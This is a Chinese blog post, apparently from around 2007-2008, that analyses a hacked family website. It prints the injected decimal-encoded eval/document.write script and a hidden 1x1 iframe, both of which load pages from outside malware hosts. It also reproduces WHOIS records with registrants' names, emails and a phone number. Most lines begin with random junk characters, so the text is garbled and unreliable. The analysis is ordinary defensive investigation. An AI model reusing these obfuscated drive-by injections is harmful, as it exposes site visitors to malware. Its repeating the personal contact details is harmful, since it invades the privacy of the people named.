首发在我的博客里面，
nKPvAe( ~Y]*TP http://www.areway.cn/?p=175 BiI?eT + s
wgn( - G$FNofQx 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
ta i Hry*.s - <script>t=’60,105,102,114,97,109,101,
j[2?} ? 32,115,114,99,61,104,116,116,112,58,47,47,
EA_6L\+8& 102,114,101,101,46,117,45,117,117,117,46,99,
7v\K,P8 110,47,101,114,114,111,114,46,104,116,109,
?ra6Lo 32,119,105,100,116,104,61,49,48,48,32,104,
YbjeM6#E 101,105,103,104,116,61,48,62,60,47,105,102,
BIyNiol$AJ 114,97,109,101,62′;
s 2s}5b3 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
j <[+vr j 4|i.b?" <script>t=’60,105,102,114,97,109,101,32,115,
0`y;[qAG[ 114,99,61,104,116,116,112,58,47,47,102,114,
yf5X=f .%@ 101,101,46,117,45,117,117,117,46,99,110,47,
)Nv$ SH 101,114,114,111,114,46,104,116,109,32,119,
G4DuqN~2m 105,100,116,104,61,49,48,48,32,104,101,105,
`uK_}Vy_ 103,104,116,61,48,62,60,47,105,102,114,97,
$42% H# 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
qC<!!473 ? document.write(t);</script>
l{OU \ -OY[x|0 <html xmlns=”
Gc6`]7 s http://www.w3.org/1999/xhtml (KQAKEhD! “>
=<~/ U? <head>
=pH WqGOD <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
ra#s!m1 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
O{WJi;l <title>首页 - 爱生活家庭网
GR&T
Z DxX333vC 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
NKae~ 1b 转换字符串后的大概内容是（谁点击后果自付）：
D4jf%7X!Lu <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
f{_ K%0* ( W.euQ y 查询玉米u-uuu.cn的详细信息：
'J*)o<% Domain Name: u-uuu.cn
Q 5R7se_ ROID: 20070901s10001s64972306-cn
&Uqm3z?v Domain Status: ok
uYk4qorA Registrant Organization: 王雷
8'c_&\kdv Registrant Name: 王雷
%\xwu(|kN Administrative Email:
czlovexs@126.com .^]=h#[e Sponsoring Registrar: 北京万网志成科技有限公司
{-X8MisI Name Server:ns.yovole.com
N[G <&f9 Name Server:ns1.yovole.com
-t28"jyj Registration Date: 2007-09-01 17:54
~c8Z9[QW Expiration Date: 2008-09-01 17:54
h9Zf4@w 最后PING了一下地址 都没有什么….
7=jeq|&kN xv!
Q O 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
mRI W9V <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
MguH)r` uT <script language=”javascript” src=”
h#p1wK;N http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script tmAc=?|Wa >
)KvQ aC 这个玉米应该有可能是木马作者的：
~ ;aSE foafau.info的详细信息：
e< |' Access to INFO WHOIS information is provided to assist persons in
dm4dT59 determining the contents of a domain name registration record in the
c" mRMDg% Afilias registry database. The data in this record is provided by
Q+4xU Afilias Limited for informational purposes only, and Afilias does not
_J}vPm guarantee its accuracy. This service is intended only for query-based
r{m"E^K, access. You agree that you will use this data only for lawful purposes
k]*DuVC OX and that, under no circumstances will you use this data to: (a) allow,
$ohg?B ; enable, or otherwise support the transmission by e-mail, telephone, or
>j]*=&,7 facsimile of mass unsolicited, commercial advertising or solicitations
VK9I#
to entities other than the data recipient’s own existing customers; or
oh{!u!L`] (b) enable high volume, automated, electronic processes that send
m4:b?[ queries or data to the systems of Registry Operator, a Registrar, or
F*WW v&\X Afilias except as reasonably necessary to register domain names or
Ugmg,~U~k modify existing registrations. All rights reserved. Afilias reserves
ye U4,K o the right to modify these terms at any time. By submitting this query,
!Xt=+aKN you agree to abide by this policy.
_tE$a3` Domain ID:D22418703-LRMS
lyzMKla" Domain Name:FOAFAU.INFO
|L{<=NNs:D Created On:20-Nov-2007 16:05:42 UTC
Hl&]r'bK Last Updated On:20-Nov-2007 16:05:44 UTC
r\+AeCyb"p Expiration Date:20-Nov-2008 16:05:42 UTC
;D_6u(IC4: Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
QsYc 9]: Status:CLIENT DELETE PROHIBITED
Vxif0Bx&/d Status:CLIENT RENEW PROHIBITED
DBi3 j Status:CLIENT TRANSFER PROHIBITED
(bo{v X Status:CLIENT UPDATE PROHIBITED
Q!>8E4Z Status:TRANSFER PROHIBITED
kKVq,41' Registrant ID:GODA-040110615
~ S Js2- 2 Registrant Name:liu hong
tZ1iaYbvV Registrant Organization:
LV=!n F0 Registrant Street1:beijing
B\bIMjXV Registrant Street2:
,2?"W8, Registrant Street3:
FK!9to> Registrant City:beijing
| ::kC3= Registrant State/Province:
avls[Bq Registrant Postal Code:100000
=Fea vyx Registrant Country:CN
h Mw}[6m Registrant Phone:+86.860108888777
z'r .LBnh Registrant Phone Ext.:
iXC/?
EK4 Registrant FAX:
U^ BB | Registrant FAX Ext.:
xtU)3I=F% Registrant Email:bbbshiji@163.com
:i*JlKHJ d Admin ID:GODA-240110615
cd}TDd(H% Admin Name:liu hong
V]}/e!XK\ Admin Organization:
#UU}lG Admin Street1:beijing
a(Z" }m Admin Street2:
K@*m6 ) Admin Street3:
'r f='Y Admin City:beijing
3uRnb O- Admin State/Province:
> ^3xBI:Q Admin Postal Code:100000
cZL"e Admin Country:CN
ik~hL/JD\ Admin Phone:+86.860108888777
Yl1@ gw7 Admin Phone Ext.:
zEY
Ey1 Admin FAX:
>T~{_|N Admin FAX Ext.:
l;Z c[6 Admin Email:bbbshiji@163.com
wr*A %: Billing ID:GODA-340110615
_?Jm .nT Billing Name:liu hong
!0`ZK-nA6 Billing Organization:
NLb/Bja Billing Street1:beijing
) !ZA.sx Billing Street2:
R|!4Y` Billing Street3:
w _eu@R:u@ Billing City:beijing
CNcH)2Mk Billing State/Province:
0e8)* 2S Billing Postal Code:100000
m{Q{ qJ5> Billing Country:CN
6?}8z
q[ Billing Phone:+86.860108888777
R|NmkqTK~( Billing Phone Ext.:
bz H5Lc {% Billing FAX:
2~h)'n7Mw Billing FAX Ext.:
Q*$x!q Billing Email:bbbshiji@163.com
TQ@*eoJj Tech ID:GODA-140110615
lK I HBi Tech Name:liu hong
9
J5Z'd_ Tech Organization:
f{ S)wE>; Tech Street1:beijing
1t!Mg{&e[x Tech Street2:
0; V{yh Tech Street3:
BY,%+>bc) Tech City:beijing
@b!fs Tech State/Province:
WF-imI:EK Tech Postal Code:100000
RWTv,p LK Tech Country:CN
h PFIf>%} Tech Phone:+86.860108888777
XNu2G19jb Tech Phone Ext.:
s'\"%~nF< Tech FAX:
F$F5N1< Tech FAX Ext.:
f<|8NQ2y. Tech Email:bbbshiji@163.com
u# =N8 Name Server:NS27.DOMAINCONTROL.COM
`! m+g0 Name Server:NS28.DOMAINCONTROL.COM
.M:,pw"S] Name Server:
zCvR/ Name Server:
WlZ[9,:p1 Name Server:
8Qu] .nKe Name Server:
6 xz&Qi7w Name Server:
NX)7g }S Name Server:
]iLfe&f Name Server:
_rjCwo\ Name Server:
Bf w>2 Name Server:
zi*D8!_C Name Server:
]]%C\Ryy} Name Server:
!JYDg sFS_CyN!7 接着下载每个文件里面的代码：
TqbKH08i/ 一步一步看..
-JwH^*Ad 
F d'Ang6" 
<B u*: O 
^Gs!" Y 
PrN?;Z. 
2?
!b! 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
